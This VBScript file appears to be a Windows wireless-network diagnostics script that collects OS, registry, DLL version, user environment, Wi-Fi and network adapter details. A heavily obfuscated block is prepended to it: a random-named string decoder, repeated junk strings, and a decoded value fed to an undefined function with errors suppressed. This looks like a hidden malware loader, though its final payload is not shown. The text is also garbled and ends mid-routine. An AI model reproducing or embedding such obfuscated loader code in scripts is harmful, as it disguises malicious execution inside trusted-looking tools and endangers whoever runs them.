Function TLJLSWEWTCPBLCFCZPZVUTRADVKCDMGSJEHIJYALEYGOARAPZNDWTBXAUJHWLCSGVWRHVXTBPOQVNCAMVVCQJKZIHGOAQDZCFZSD(ZSUCUCHEKCMRIVAQZCXLXJAOISLLOOPNKWMCBAWHCUXETXRUDJDDCGFQSFTBQVQVNZHMJXPYGQICMVULBRIFLMLDRWKVHUQHEBRU, find, PFKFUEWLXCDXLIAZNLKBNDUNNTRMZBYKDZVVGDKGPAFOSMJZUQUTQQHLKXRANKLWETTLMETJAELNYGUAKRRJHFTNSJLILKSFOJKZ)
TXMQXKSMFUNECQQVSCPZZGTCSLYQLFYPWVHMFBMWMHHXWHFVUWNLTLZNEKXLMCAZVYIHJDQRQSMSYWGLFCVPSNVLWUIUDAKJGIBX = Len(ZSUCUCHEKCMRIVAQZCXLXJAOISLLOOPNKWMCBAWHCUXETXRUDJDDCGFQSFTBQVQVNZHMJXPYGQICMVULBRIFLMLDRWKVHUQHEBRU)
YYLQFVVBYGOIDLGJHKHIDXKOVVNQIDLQUIMHRFJWSTMPFARRTACVATTBNXVJIESVUYNUYZSCBLQJKVJVEVWHAQPAOLTTJZNNARUG = Len(find)
MWTUIAUPDKRSNZFMILUEJNFNFYSBXCISACJICBZAVZXETBGJUBFPXQXYQFOJITSABZSLQWKGMTIJPBUESIGWXTVKEKSXNPSCHXDU = Len(PFKFUEWLXCDXLIAZNLKBNDUNNTRMZBYKDZVVGDKGPAFOSMJZUQUTQQHLKXRANKLWETTLMETJAELNYGUAKRRJHFTNSJLILKSFOJKZ)
ReDim JUTYQZCDHOJPKKRZMWDHDHGGEMSXBGCSXAVXPIFXQRCQACMCYSPKTVQBOMTEGFBBLRRKOTKERFRMFPFBZQYJQRYBJUJCOARKPBFJ(TXMQXKSMFUNECQQVSCPZZGTCSLYQLFYPWVHMFBMWMHHXWHFVUWNLTLZNEKXLMCAZVYIHJDQRQSMSYWGLFCVPSNVLWUIUDAKJGIBX)
i = 1
j = 0
Do While i <= TXMQXKSMFUNECQQVSCPZZGTCSLYQLFYPWVHMFBMWMHHXWHFVUWNLTLZNEKXLMCAZVYIHJDQRQSMSYWGLFCVPSNVLWUIUDAKJGIBX
If Mid(ZSUCUCHEKCMRIVAQZCXLXJAOISLLOOPNKWMCBAWHCUXETXRUDJDDCGFQSFTBQVQVNZHMJXPYGQICMVULBRIFLMLDRWKVHUQHEBRU, i, YYLQFVVBYGOIDLGJHKHIDXKOVVNQIDLQUIMHRFJWSTMPFARRTACVATTBNXVJIESVUYNUYZSCBLQJKVJVEVWHAQPAOLTTJZNNARUG) = find Then
For k = 1 To MWTUIAUPDKRSNZFMILUEJNFNFYSBXCISACJICBZAVZXETBGJUBFPXQXYQFOJITSABZSLQWKGMTIJPBUESIGWXTVKEKSXNPSCHXDU
JUTYQZCDHOJPKKRZMWDHDHGGEMSXBGCSXAVXPIFXQRCQACMCYSPKTVQBOMTEGFBBLRRKOTKERFRMFPFBZQYJQRYBJUJCOARKPBFJ(j) = Mid(PFKFUEWLXCDXLIAZNLKBNDUNNTRMZBYKDZVVGDKGPAFOSMJZUQUTQQHLKXRANKLWETTLMETJAELNYGUAKRRJHFTNSJLILKSFOJKZ, k, 1)
j = j + 1
Next
i = i + YYLQFVVBYGOIDLGJHKHIDXKOVVNQIDLQUIMHRFJWSTMPFARRTACVATTBNXVJIESVUYNUYZSCBLQJKVJVEVWHAQPAOLTTJZNNARUG
Else
JUTYQZCDHOJPKKRZMWDHDHGGEMSXBGCSXAVXPIFXQRCQACMCYSPKTVQBOMTEGFBBLRRKOTKERFRMFPFBZQYJQRYBJUJCOARKPBFJ(j) = Mid(ZSUCUCHEKCMRIVAQZCXLXJAOISLLOOPNKWMCBAWHCUXETXRUDJDDCGFQSFTBQVQVNZHMJXPYGQICMVULBRIFLMLDRWKVHUQHEBRU, i, 1)
i = i + 1
j = j + 1
End If
Loop
LCNEIKTOEEVYHSEQHSKTSPBUJIQQOGWDKVQXCUBFYKXFYLUWWADWQLRVBSVZUCZYHRNMBGNNREUISVWYNTUNCZNZEUWJYBLWLYYG = ""
For i = 0 To j - 1
LCNEIKTOEEVYHSEQHSKTSPBUJIQQOGWDKVQXCUBFYKXFYLUWWADWQLRVBSVZUCZYHRNMBGNNREUISVWYNTUNCZNZEUWJYBLWLYYG = LCNEIKTOEEVYHSEQHSKTSPBUJIQQOGWDKVQXCUBFYKXFYLUWWADWQLRVBSVZUCZYHRNMBGNNREUISVWYNTUNCZNZEUWJYBLWLYYG & JUTYQZCDHOJPKKRZMWDHDHGGEMSXBGCSXAVXPIFXQRCQACMCYSPKTVQBOMTEGFBBLRRKOTKERFRMFPFBZQYJQRYBJUJCOARKPBFJ(i)
Next
TLJLSWEWTCPBLCFCZPZVUTRADVKCDMGSJEHIJYALEYGOARAPZNDWTBXAUJHWLCSGVWRHVXTBPOQVNCAMVVCQJKZIHGOAQDZCFZSD = LCNEIKTOEEVYHSEQHSKTSPBUJIQQOGWDKVQXCUBFYKXFYLUWWADWQLRVBSVZUCZYHRNMBGNNREUISVWYNTUNCZNZEUWJYBLWLYYG
End Function
On Error Resume Next
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
NWrmaGHPirmtXBLpqDaKyIkWPTWZpzZwdDIkDThBWWQOQiXhKLkKYmBGOZAxmLWsWPKAyUBzUfINHdIUWuTDXOYxWOkOhucNhNBd = "pu
@^+@+#
@^+@+#
NWrmaGHPirmtXBLpqDaKyIkWPTWZpzZwdDIkDThBWWQOQiXhKLkKYmBGOZAxmLWsWPKAyUBzUfINHdIUWuTDXOYxWOkOhucNhNBd = TLJLSWEWTCPBLCFCZPZVUTRADVKCDMGSJEHIJYALEYGOARAPZNDWTBXAUJHWLCSGVWRHVXTBPOQVNCAMVVCQJKZIHGOAQDZCFZSD(NWrmaGHPirmtXBLpqDaKyIkWPTWZpzZwdDIkDThBWWQOQiXhKLkKYmBGOZAxmLWsWPKAyUBzUfINHdIUWuTDXOYxWOkOhucNhNBd,"
@^+@+#
","t")
NWrmaGHPirmtXBLpqDaKyIkWPTWZpzZwdDIkDThBWWQOQiXhKLkKYmBGOZAxmLWsWPKAyUBzUfINHdIUWuTDXOYxWOkOhucNhNBd = MJOGpULFUSGWHHKLQnJNoJGOpoOADKXQHnJGCHvJBMOVOKKEBHGONHEWVAnyHLBYCClnHUJKZgMMUnMZXrHCHCCUKCKCnZHQZPUn(MJOGpULFUSGWHHKLQnJNoJGOpoOADKXQHnJGCHvJBMOVOKKEBHGONHEWVAnyHLBYCClnHUJKZgMMUnMZXrHCHCCUKCKCnZHQZPUn(MJOGpULFUSGWHHKLQnJNoJGOpoOADKXQHnJGCHvJBMOVOKKEBHGONHEWVAnyHLBYCClnHUJKZgMMUnMZXrHCHCCUKCKCnZHQZPUn(NWrmaGHPirmtXBLpqDaKyIkWPTWZpzZwdDIkDThBWWQOQiXhKLkKYmBGOZAxmLWsWPKAyUBzUfINHdIUWuTDXOYxWOkOhucNhNBd)))
Dim FSO, shell, xslProcessor
Sub RunCmd(CommandString, OutputFile)
cmd = "cmd /c " + CommandString + " >> " + OutputFile
shell.Run cmd, 0, True
End Sub
Sub GetOSInfo(outputFileName)
On Error Resume Next
strComputer = "."
HKEY_LOCAL_MACHINE = &H80000002
Dim objReg, outputFile
Dim buildDetailNames, buildDetailRegValNames
buildDetailNames = Array("Product Name", "Version", "Build Lab", "Type")
buildDetailRegValNames = Array("ProductName", "CurrentVersion", "BuildLabEx", "CurrentType")
Set outputFile = FSO.OpenTextFile(outputFileName, 2, True)
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
outputFile.WriteLine("[Architecture/Processor Information]")
outputFile.WriteLine()
outputFile.Close
cmd = "cmd /c set processor >> " & outputFileName
shell.Run cmd, 0, True
Set outputFile = FSO.OpenTextFile(outputFileName, 8, True)
outputFile.WriteLine()
outputFile.WriteLine("[Operating System Information]")
outputFile.WriteLine()
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion"
for I = 0 to UBound(buildDetailNames)
objReg.GetStringValue HKEY_LOCAL_MACHINE, strKeyPath, buildDetailRegValNames(I), info
outputFile.WriteLine(buildDetailNames(I) + " = " + info)
Next
outputFile.WriteLine()
strKeyPath = "SYSTEM\SETUP"
objReg.GetDWordValue HKEY_LOCAL_MACHINE, strKeyPath, "Upgrade", upgradeInfo
if IsNull(upgradeInfo) Then
outputFile.WriteLine("This is a clean installed system")
Else
outputFile.WriteLine("This is an upgraded system")
End If
outputFile.WriteLine(buildDetailNames(I) + " = " + info)
outputFile.WriteLine()
outputFile.WriteLine("[File versions]")
outputFile.WriteLine()
Set shell = WScript.CreateObject( "WScript.Shell" )
windir = shell.ExpandEnvironmentStrings("%windir%\system32\")
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Dim FileSet
FileSet = Array("onex.dll", "l2nacp.dll", "wlanapi.dll", "wlancfg.dll", "wlanconn.dll", "wlandlg.dll", "wlanext.exe", "wlangpui.dll", "wlanhc.dll", "wlanmm.dll", "wlanmmhc.dll", "wlanmsm.dll", "wlanpref.dll", "wlansec.dll", "wlansvc.dll", "wlanui.dll")
For Each file in FileSet
filename = windir + file
strQuery = "Select * from CIM_Datafile Where Name = '" + Replace(filename, "\", "\\") + "'"
Set fileProp = objWMIService.ExecQuery _
(strQuery)
For Each objFile in fileProp
outputFile.WriteLine(file + " " + objFile.Version)
Next
Next
Dim Dot3FileSet
Dot3FileSet = Array("onex.dll", "dot3api.dll", "dot3cfg.dll", "dot3dlg.dll", "dot3gpclnt.dll", "dot3gpui.dll", "dot3msm.dll", "dot3svc.dll", "dot3ui.dll")
For Each file in Dot3FileSet
filename = windir + file
strQuery = "Select * from CIM_Datafile Where Name = '" + Replace(filename, "\", "\\") + "'"
Set fileProp = objWMIService.ExecQuery _
(strQuery)
For Each objFile in fileProp
outputFile.WriteLine(file + " " + objFile.Version)
Next
Next
call GetBatteryInfo(outputFile)
outputFile.Close
Set outputFile = FSO.OpenTextFile(outputFileName, 8, True)
outputFile.WriteLine("")
outputFile.WriteLine("[System Information]")
outputFile.WriteLine("")
outputFile.Close
'Comments: Dumping System Information using "systeminfo" command
cmd = "cmd /c systeminfo >> " & outputFileName
shell.Run cmd, 0, True
Set outputFile = FSO.OpenTextFile(outputFileName, 8, True)
outputFile.WriteLine("")
outputFile.WriteLine("[User Information]")
outputFile.WriteLine("")
outputFile.Close
cmd = "cmd /c set u >> " & outputFileName
shell.Run cmd, 0, True
End Sub
Sub GetBatteryInfo(outputFile)
On Error Resume Next
strComputer = "."
outputFile.WriteLine()
outputFile.WriteLine("[Power Information]")
outputFile.WriteLine()
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Battery")
if colItems.Count = 0 Then
outputFile.WriteLine("It is a Desktop running on AC")
Else
For Each objItem in colItems
if objItem.Availability = 2 Then
outputFile.WriteLine("Machine is running on AC Adapter")
Else
if objitem.Availability = 3 Then
outputFile.WriteLine("Machine is running on Battery")
End If
End If
Next
End If
End Sub
Sub GetMiracastInfo(outputFileName)
On Error Resume Next
Dim MiracastInfoFile
Set MiracastInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
MiracastInfoFile.WriteLine("-------------------------------------")
MiracastInfoFile.WriteLine("-------+ Wireless Display Information +------")
MiracastInfoFile.WriteLine("-------------------------------------")
MiracastInfoFile.Close
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
' Write the file with the directx diagnostics
cmd = "cmd /c dxdiag /t dxdiag.txt"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
' Write the file with the dispdiag information
cmd = "cmd /c dispdiag -out dispdiag_stop.dat"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
' Write the wlan information to the output file (wlaninfo.txt)
cmd = "cmd /c time /t >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh wl show i >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh wl show d >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh wlan show interfaces >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh wlan sho net m=b >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetWcnInfo(outputFileName)
On Error Resume Next
Dim WcnInfoFile
Set WcnInfoFile= FSO.OpenTextFile(outputFileName, 8, True)
WcnInfoFile.WriteLine("-------------------------------------")
WcnInfoFile.WriteLine("---------+ WCN Information +---------")
WcnInfoFile.WriteLine("-------------------------------------")
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("-----------------")
WcnInfoFile.WriteLine("+ Services Status")
WcnInfoFile.WriteLine("-----------------")
WcnInfoFile.WriteLine("")
WcnInfoFile.Close
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c sc query wcncsvc >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc query wlansvc >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc query eaphost >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc query fdrespub >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc query upnphost >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc query eaphost >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set WcnInfoFile= FSO.OpenTextFile(outputFileName, 8, True)
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("-----------------------")
WcnInfoFile.WriteLine("+ WCN Files Information ")
WcnInfoFile.WriteLine("-----------------------")
WcnInfoFile.WriteLine("")
strComputer = "."
Set shell = WScript.CreateObject( "WScript.Shell" )
windir = shell.ExpandEnvironmentStrings("%windir%\system32\")
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Dim FileSet
FileSet = Array("wcncsvc.dll", "wcnapi.dll", "fdwcn.dll", "wcneapauthproxy.dll", "wcneappeerproxy.dll", "wcnwiz.dll", "wcnnetsh.dll", "wczdlg.dll")
For Each file in FileSet
filename = windir + file
strQuery = "Select * from CIM_Datafile Where Name = '" + Replace(filename, "\", "\\") + "'"
Set fileProp = objWMIService.ExecQuery _
(strQuery)
For Each objFile in fileProp
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("---------------------")
WcnInfoFile.WriteLine(file)
WcnInfoFile.WriteLine("---------------------")
WcnInfoFile.WriteLine("
- Version
" + objFile.Version )
WcnInfoFile.WriteLine("
- Creation Date
" + objFile.CreationDate )
WcnInfoFile.WriteLine("
- Description
" + objFile.Description )
WcnInfoFile.WriteLine("
- Installation Date
" + objFile.InstallDate )
WcnInfoFile.WriteLine("
- In Use Count
" + objFile.InUseCount )
WcnInfoFile.WriteLine("
- Last Accessed
" + objFile.LastAccessed )
WcnInfoFile.WriteLine("
- Last Modified
" + objFile.LastModified )
WcnInfoFile.WriteLine("
- Status
" + objFile.Status )
Next
Next
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("-------------------------------")
WcnInfoFile.WriteLine("+ Network Adapters Information ")
WcnInfoFile.WriteLine("-------------------------------")
WcnInfoFile.WriteLine("")
strQuery = "Select * from Win32_NetworkAdapter "
Set AdapterProp = objWMIService.ExecQuery _
(strQuery)
For Each objFile in AdapterProp
WcnInfoFile.WriteLine("")
WcnInfoFile.WriteLine("---------------------")
WcnInfoFile.WriteLine("DeviceID : " + objFile.DeviceID )
WcnInfoFile.WriteLine("---------------------")
WcnInfoFile.WriteLine("
- Adapter Type
" + objFile.AdapterType )
WcnInfoFile.WriteLine("
- Auto Sense
" + objFile.AutoSense )
WcnInfoFile.WriteLine("
- Description
" + objFile.Description )
WcnInfoFile.WriteLine("
- NetConnectionID
" + objFile.NetConnectionID )
WcnInfoFile.WriteLine("
- GUID
" + objFile.GUID )
WcnInfoFile.WriteLine("
- MACAddress
" + objFile.MACAddress )
WcnInfoFile.WriteLine("
- Manufacturer
" + objFile.Manufacturer )
WcnInfoFile.WriteLine("
- MaxSpeed
" + objFile.MaxSpeed )
WcnInfoFile.WriteLine("
- Speed
" + objFile.Speed )
WcnInfoFile.WriteLine("
- Name
" + objFile.Name )
Select Case objFile.NetConnectionStatus
Case 0 strAvail= "Disconnected"
Case 1 strAvail= "Connecting"
Case 2
strAvail= "Connected"
Case 3
strAvail= "Disconnecting"
Case 4
strAvail= "Hardware not present"
Case 5
strAvail= "Hardware disabled"
Case 6
strAvail= "Hardware malfunction"
Case 7
strAvail= "Media disconnected"
Case 8
strAvail= "Authenticating"
Case 9
strAvail= "Authentication succeeded"
Case 10
strAvail= "Authentication failed"
Case 11
strAvail= "Invalid address"
Case 12
strAvail= "Credentials required"
End Select
WcnInfoFile.WriteLine("
- NetConnectionStatus
" + strAvail )
WcnInfoFile.WriteLine("
- NetEnabled
" + objFile.NetEnabled )
WcnInfoFile.WriteLine("
- NetworkAddresses
" + objFile.NetworkAddresses )
WcnInfoFile.WriteLine("
- PermanentAddress
" + objFile.PermanentAddress )
WcnInfoFile.WriteLine("
- PhysicalAdapter
" + objFile.PhysicalAdapter )
WcnInfoFile.WriteLine("
- PNPDeviceID
" + objFile.PNPDeviceID )
WcnInfoFile.WriteLine("
- ProductName
" + objFile.ProductName )
WcnInfoFile.WriteLine("
- ServiceName
" + objFile.ServiceName )
WcnInfoFile.WriteLine("
- SystemName
" + objFile.SystemName )
WcnInfoFile.WriteLine("
- TimeOfLastReset
" + objFile.TimeOfLastReset )
WcnInfoFile.WriteLine("
- Status
" + objFile.Status )
Select Case objFile.StatusInfo
Case 1 strAvail= "Other"
Case 2
strAvail= "Unknown"
Case 3
strAvail= "Enabled"
Case 4
strAvail= "Disabled"
Case 5
strAvail= "Not Applicable"
End Select
WcnInfoFile.WriteLine("
- StatusInfo
" + strAvail )
Select Case objFile.Availability
Case 1 strAvail= "Other"
Case 2
strAvail= "Unknown"
Case 3
strAvail= "Running or Full Power"
Case 4
strAvail= "Warning"
Case 5
strAvail= "In test"
Case 6
strAvail= "Not Applicable"
Case 7
strAvail= "Power Off"
Case 8
strAvail= "Off Line"
Case 9
strAvail= "Off Duty"
Case 10
strAvail= "Degraded"
Case 11
strAvail= "Not Installed"
Case 12
strAvail= "Install Error"
Case 13
strAvail= "Power Save - Unknown"
Case 14
strAvail= "Power Save - Low Power Mode"
Case 15
strAvail= "Power Save - Standby"
Case 16
strAvail= "Power Cycle"
Case 17
strAvail= "Power Save - Warning"
End Select
WcnInfoFile.WriteLine("
- Availability
" + strAvail )
WcnInfoFile.WriteLine("
- Caption
" + objFile.Caption )
Select Case objFile.ConfigManagerErrorCode
Case 0
strAvail= "Device is working properly"
Case 1
strAvail= "Device is not configured correctly"
Case 2
strAvail= "Windows cannot load the driver for this device"
Case 3
strAvail= "Driver for this device might be corrupted, or the system may be low on memory or other resources"
Case 4
strAvail= "Device is not working properly. One of its drivers or the registry might be corrupted."
Case 5
strAvail= "Driver for the device requires a resource that Windows cannot manage."
Case 6
strAvail= "Boot configuration for the device conflicts with other devices"
Case 7
strAvail= "Cannot filter"
Case 8
strAvail= "Driver loader for the device is missing"
Case 9
strAvail= "Device is not working properly. The controlling firmware is incorrectly reporting the resources for the device"
Case 10
strAvail= "Device cannot start"
Case 11
strAvail= "Device failed"
Case 12
strAvail= "Device cannot find enough free resources to use"
Case 13
strAvail= "Windows cannot verify the device's resources"
Case 14
strAvail= "Device cannot work properly until the computer is restarted"
Case 15
strAvail= "Device is not working properly due to a possible re-enumeration problem"
Case 16
strAvail= "Windows cannot identify all of the resources that the device uses"
Case 17
strAvail= "Device is requesting an unknown resource type."
Case 18
strAvail= "Device drivers must be reinstalled"
Case 19
strAvail= "Failure using the VxD loader"
Case 20
strAvail= "Registry might be corrupted."
Case 21
strAvail= "System failure. If changing the device driver is ineffective, see the hardware documentation. Windows is removing the device"
Case 22
strAvail= "Device is disabled"
Case 23
strAvail= "System failure. If changing the device driver is ineffective, see the hardware documentation"
Case 24
strAvail= "Device is not present, not working properly, or does not have all of its drivers installed."
Case 25
strAvail= "Windows is still setting up the device"
Case 27
strAvail= "Device does not have valid log configuration."
Case 28
strAvail= "Device drivers are not installed."
Case 29
strAvail= "Device is disabled. The device firmware did not provide the required resources."
Case 30
strAvail= "Device is using an IRQ resource that another device is using."
Case 31
strAvail= "Device is not working properly. Windows cannot load the required device drivers."
End Select
WcnInfoFile.WriteLine("
- ConfigManagerErrorCode:
" + strAvail )
WcnInfoFile.WriteLine("
- Error Cleared
" + objFile.ErrorCleared )
WcnInfoFile.WriteLine("
- Error Description
" + objFile.ErrorDescription)
WcnInfoFile.WriteLine("
- LastErrorCode
" + objFile.LastErrorCode)
WcnInfoFile.WriteLine("
- Index
" + objFile.Index)
WcnInfoFile.WriteLine("
- Installed
" + objFile.Installed )
